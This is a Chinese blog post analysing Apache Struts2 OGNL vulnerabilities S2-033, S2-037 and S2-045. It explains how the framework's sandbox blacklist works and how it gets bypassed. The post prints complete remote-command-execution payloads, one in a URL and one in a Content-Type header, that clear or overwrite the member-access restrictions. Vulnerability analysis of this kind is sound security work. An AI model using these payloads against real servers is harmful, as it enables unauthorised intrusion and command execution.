浅谈struts2漏洞防护与绕过-中

2019-07-24 约 187 字 预计阅读 1 分钟

声明:本文 【浅谈struts2漏洞防护与绕过-中】 由作者 p0desta 于 2019-07-24 09:25:00 首发 先知社区 曾经 浏览数 71 次

感谢 p0desta 的辛苦付出!

S2-033 & S2-037

S2-033和s2-037的区别是,是否需要开启动态方法调用这两个漏洞产生的点差不多,只不过s2-033的点需要allowDynamicMethodCalls为TRUE,s2-037不需要,具体看下面分析

什么是REST呢

1. REST描述的是在网络中client和server的一种交互形式;REST本身不实用,实用的是如何设计 RESTful API(REST风格的网络接口);
 2. Server提供的RESTful API中,URL中只使用名词来指定资源,原则上不使用动词。“资源”是REST架构或者说整个网络处理的核心。

poc

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

调用堆栈

最后注入的点

lib/struts2-rest-plugin-2.3.20.1.jar!/org/apache/struts2/rest/RestActionMapper.class找到处理url的点,

public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
        ActionMapping mapping = new ActionMapping();
        String uri = RequestUtils.getUri(request);
        uri = this.dropExtension(uri, mapping);
        if (uri == null) {
            return null;
        } else {
            this.parseNameAndNamespace(uri, mapping, configManager);
            this.handleSpecialParameters(request, mapping);
            if (mapping.getName() == null) {
                return null;
            } else {
                this.handleDynamicMethodInvocation(mapping, mapping.getName());

跟进handleDynamicMethodInvocation

没有任何过滤,只要allowDynamicMethodCalls=True就会将我们的payload设置为method,然后经过一系列操作会到达

handleDynamicMethodInvocation方法下面

这里没有了allowDynamicMethodCalls的限制,直接设置了method,也就s2-037了。

struts2-2.3.20-struts2-2.3.29

Struts 2.3.20 配置文件新增加了参数为struts.excludedClasses,此参数为了严格验证排除一些不安全的对象类型。

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                ognl.OgnlContext,
                ognl.MemberAccess,
                ognl.ClassResolver,
                ognl.TypeConverter,
                com.opensymphony.xwork2.ActionContext" />
   <constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" />

"java.lang.Classs"值过滤struts标签中静态方法调用。

既然放在了s2-033下,当然拿它的payload来聊沙箱绕过咯

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

这个poc是去覆盖掉了_memberAccess,在我们之前的poc中,是利用上下文中的某些变量来去突破静态方法的限制来执行命令,但是这次struts2的修复在上下文中去除掉了一些类,即使突破了也没办法去调用,这里的思路呢是去覆盖掉SecurityMemeberAccess对象,为什么用DEFAULT_MEMBER_ACCESS去覆盖呢

public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);

它是SecurityMemberAccess的父类的实例,可以看到SecurityMemberAccess类中实现了很多安全操作,看一下没有覆盖的时候

再来看一下覆盖之后的

另外可以看到poc里面用#parameters来获取的部分,原因是因为引号在传递中被转义了,导致ognl语法错误

官方文档上有写

Application − Application scoped variables
Session − Session scoped variables
Root / value stack − All your action variables are stored here
Request − Request scoped variables
Parameters − Request parameters
Atributes − The attributes stored in page, request, session and application scope

s2-045

这个漏洞在文章https://xz.aliyun.com/t/4662中写过,这里不再细写

这个漏洞主要是因为在上传时使用Jakarta进行解析时,但是如果content-type错误的会进入异常,然后注入OGNL。

poc

Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

struts2-2.3.30+/2.5.2+

diff一下看一下沙盒是怎么做的防护

可以看到上次的poc中的MemberAccessDefaultMemberAccess都已经进入了黑名单

其实看这次的poc可以看出是利用container来获取了ognlUtil实例,然后我们可以知道黑名单是存储到set中的,利于clear直接清除掉,然后利用setMemberAccess覆盖回去,上面有一个关键的点就是使用getInstance()进行实例化,属于单例模式,一般用于比较大,复杂的对象,只初始化一次,而getInstance保证了每次调用都返回相同的对象。

那么我们清除了黑名单就绕过了沙盒的防御,从而RCE。

参考

https://www.secpulse.com/archives/82578.html
https://www.tutorialspoint.com/struts_2/struts_value_stack_ognl.htm
https://xz.aliyun.com/t/3395

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now